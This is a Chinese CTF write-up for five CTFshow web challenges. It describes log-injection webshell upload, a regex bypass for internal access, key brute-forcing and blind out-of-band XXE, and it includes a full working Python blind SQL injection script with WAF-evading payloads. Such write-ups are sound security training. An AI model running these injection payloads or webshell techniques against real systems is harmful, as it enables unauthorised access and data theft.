签到_观己

从题目描述中没发现什么有用的信息





发现文件包含



尝试使用PHP伪协议执行命令,发现无法执行

尝试使用远程文件包含,发现也未开启

尝试使用日志注入



记录了UA值,抓包写入一句话木马



使用蚁剑连接





web1_观字



发现正则过滤,目的是访问内网靶机http://192.168.7.68/flag

使用。代替.绕过正则过滤

web2_观星



发现URL可以使用数字类型运算,尝试注入



在SQL注入中利用MySQL隐形的类型转换绕过WAF检测

写脚本尝试盲注(感谢师傅的提示)

  1. #! /usr/bin/env python
  2. # _*_ coding:utf-8 _*_
  3. import requests
  4. url = "http://2490cccb-ed3d-451e-94c6-54d36cf9a872.chall.ctf.show/index.php?id=3-"
  5. #regexp代替=
  6. def databases():
  7. database = ""
  8. for i in range(1, 50):
  9. x = 0
  10. for j in range(32, 135):
  11. payload = "case(" \
  12. "ord(" \
  13. "substr(" \
  14. "(select(database()))" \
  15. "from({0})for(1)" \
  16. ")" \
  17. ")" \
  18. ")" \
  19. "when({1})then(0)else(1)end".format(i, j)
  20. text = requests.get(url + payload).text
  21. if "I asked nothing" in text:
  22. database += chr(j)
  23. x = 1
  24. if j == 132:
  25. if x == 0:
  26. print("database name :" + database )
  27. exit()
  28. def tables():
  29. table = ""
  30. for i in range(1, 50):
  31. x = 0
  32. for j in range(32, 135):
  33. payload = "case(" \
  34. "ord(" \
  35. "substr(" \
  36. "(select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(0x77656231))" \
  37. "from({0})for(1)" \
  38. ")" \
  39. ")" \
  40. ")" \
  41. "when({1})then(0)else(1)end".format(i, j)
  42. text = requests.get(url + payload).text
  43. if "I asked nothing" in text:
  44. table += chr(j)
  45. x = 1
  46. if j == 132:
  47. if x == 0:
  48. print("table name:" + table )
  49. exit()
  50. def columns():
  51. column = ""
  52. for i in range(1, 50):
  53. x = 0
  54. for j in range(32, 135):
  55. payload = "case(" \
  56. "ord(" \
  57. "substr(" \
  58. "(select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))" \
  59. "from({0})for(1)" \
  60. ")" \
  61. ")" \
  62. ")" \
  63. "when({1})then(0)else(1)end".format(i, j)
  64. text = requests.get(url + payload).text
  65. if "I asked nothing" in text:
  66. column += chr(j)
  67. x = 1
  68. if j == 132:
  69. if x == 0:
  70. print("column name:" + column )
  71. exit()
  72. def getflag():
  73. flag = ""
  74. for i in range(1, 50):
  75. x = 0
  76. for j in range(32, 135):
  77. payload = "case(" \
  78. "ord(" \
  79. "substr(" \
  80. "(select(group_concat(flag))from(flag))" \
  81. "from({0})for(1)" \
  82. ")" \
  83. ")" \
  84. ")" \
  85. "when({1})then(0)else(1)end".format(i, j)
  86. text = requests.get(url + payload).text
  87. if "I asked nothing" in text:
  88. flag += chr(j)
  89. x = 1
  90. if j == 132:
  91. if x == 0:
  92. print("flag is:" + flag )
  93. exit()
  94. databases()
  95. #tables()
  96. #columns()
  97. #getflag()

web3_观图



查看网页源代码



发现一个PHP文件



确定PHP版本



尝试爆破'ctfshow'.rand()中rand()所产生的值

openssl需要开启拓展,修改php.ini文件即可

  1. <?php
  2. $len = rand();
  3. print ($len."\n");
  4. for($i=0;$i<$len;$i++){
  5. $key = substr(md5('ctfshow'.$i),3,8);
  6. $image="Z6Ilu83MIDw=";
  7. $str = openssl_decrypt($image, 'bf-ecb', $key);
  8. if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){
  9. print($str." ");
  10. print($i);
  11. break;
  12. }
  13. }
  14. ?>



爆破成功,加密得到秘钥key,并加密“config.php”

  1. <?php
  2. $i = 27347;
  3. $key = substr(md5('ctfshow'.$i),3,8);
  4. $c = "config.php";
  5. print(openssl_encrypt($c,'bf-ecb', $key));
  6. ?>



访问该文件



由于会转换文件类型为gif,所以无法直接看到文件内容,需要下载文件再处理

web4_观心



抓取数据包



发现关键信息,猜测为xxe漏洞



发现无回显,在大佬的提示下,该漏洞为Blind XXE

XXE防御利用技巧:从XML到远程代码执行

XXE及Blind_OOB_XXE







在API接口访问http://IP地址/test.xml



查看vps中1.txt的内容

ctfshow——web_AK赛的更多相关文章

  1. CTF SHOW WEB_AK赛

    CTF SHOW平台的WEB AK赛: 签到_观己 <?php ​ if(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match( ...

  2. CTFshow萌新赛-萌新福利

    下载链接文件 拿到show.bin文件 使用010Editor工具打开文件 做取反操作 取反后可以看到 把show.bin改为show.m4a 使用音频播放软件播放,即可得到flag

  3. CTFshow萌新赛-千字文

    打开靶机 下载完成后,为一张二维码图片 使用StegSolve 解出隐写图像 保存后使用PS或其他工具去除白边 然后使用脚本分割这个图像(25*25) from PIL import Image im ...

  4. CTFshow萌新赛-web签到

    打开靶机 查看页面信息 可以看到有一个system函数 在Linux中可以使用":"隔离不同的语句 payload如下 https://5105c8b6-83aa-4993-91b ...

  5. CTFshow萌新赛-密码学签到

    查看密码信息 猜测为base家族 存在"^"符号,所以应该是在base64以上 使用base85解密 成功拿到flag

  6. SCNU ACM 2016新生赛决赛 解题报告

    新生初赛题目.解题思路.参考代码一览 A. 拒绝虐狗 Problem Description CZJ 去排队打饭的时候看到前面有几对情侣秀恩爱,作为单身狗的 CZJ 表示很难受. 现在给出一个字符串代 ...

  7. SCNU ACM 2016新生赛初赛 解题报告

    新生初赛题目.解题思路.参考代码一览 1001. 无聊的日常 Problem Description 两位小朋友小A和小B无聊时玩了个游戏,在限定时间内说出一排数字,那边说出的数大就赢,你的工作是帮他 ...

  8. 2016 华南师大ACM校赛 SCNUCPC 非官方题解

    我要举报本次校赛出题人的消极出题!!! 官方题解请戳:http://3.scnuacm2015.sinaapp.com/?p=89(其实就是一堆代码没有题解) A. 树链剖分数据结构板题 题目大意:我 ...

  9. SCNU 2015ACM新生赛决赛【F. Oyk闯机关】解题报告

            题目大意:一个$N$$\times$$N$的阵列,每个格子有$X_{ij}$个调和之音,若每次只能选择走右边或下边,从左上角出发走到右下角,问最多能收集到多少个调和之音?       ...

随机推荐

  1. K8s 终将废弃 docker,TKE 早已支持 containerd

    近日 K8s 官方称最早将在 1.23版本弃用 docker 作为容器运行时,并在博客中强调可以使用如 containerd 等 CRI 运行时来代替 docker.本文会做详细解读,并介绍 dock ...

  2. idea的下载与安装

    1.下载idea.到idea的官网选择你需要下载的,你最喜欢的版本https://www.jetbrains.com/idea/download/ 2.下载jdk.进入Oracle官网,鼠标指在Dow ...

  3. C#数据结构-线索化二叉树

    为什么线索化二叉树? 对于二叉树的遍历,我们知道每个节点的前驱与后继,但是这是建立在遍历的基础上,否则我们只知道后续的左右子树.现在我们充分利用二叉树左右子树的空节点,分别指向当前节点的前驱.后继,便 ...

  4. Spark的RPC

    Spark 的 RPC 什么是RPC 在Spark中很多地方都涉及网络通信,比如Spark各个组件间的消息互通.用户文件与Jar包的上传.节 点间的Shuffle过程.Block数据的复制与备份等. ...

  5. 多任务-python实现-多线程共享全局变量(2.1.3)

    @ 目录 1.全局变量的修改 2.全局变量在多线程中的共享 3.多线程可能遇到的问题 1.全局变量的修改 代码实现 num = 100 nums = [11,22] def test(): globa ...

  6. 微服务痛点-基于Dubbo + Seata的分布式事务(AT)模式

    前言 Seata 是一款开源的分布式事务解决方案,致力于提供高性能和简单易用的分布式事务服务.Seata 将为用户提供了 AT.TCC.SAGA 和 XA 事务模式,为用户打造一站式的分布式解决方案. ...

  7. oracle rm -fr datafile 数据文件被误删的场景恢复(没有rman备份)

    环境: Linux release 7.5 oracle19c (无pdb,从11.2.0.4升级上去的) 一:单个非系统表空间的数据文件被删除 我先备份一下,虽然是测试环境. [oracle@19c ...

  8. python的常用内建模块与常用第三方模块

    本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,如有问题请及时联系我们以作处理 一.常用内置模块1.datetimePython 提供了一个 time 和 calendar 模块可 ...

  9. C++STL教程

    1 什么是STL? STL(Standard Template Library),即标准模板库,是一个具有工业强度的,高效的C++程序库.它被容纳于C++标准程序库(C++ Standard Libr ...

  10. C# 9 新特性 —— 增强的 foreach

    C# 9 新特性 -- 增强的 foreach Intro 在 C# 9 中增强了 foreach 的使用,使得一切对象都有 foreach 的可能 我们来看一段代码,这里我们试图遍历一个 int 类 ...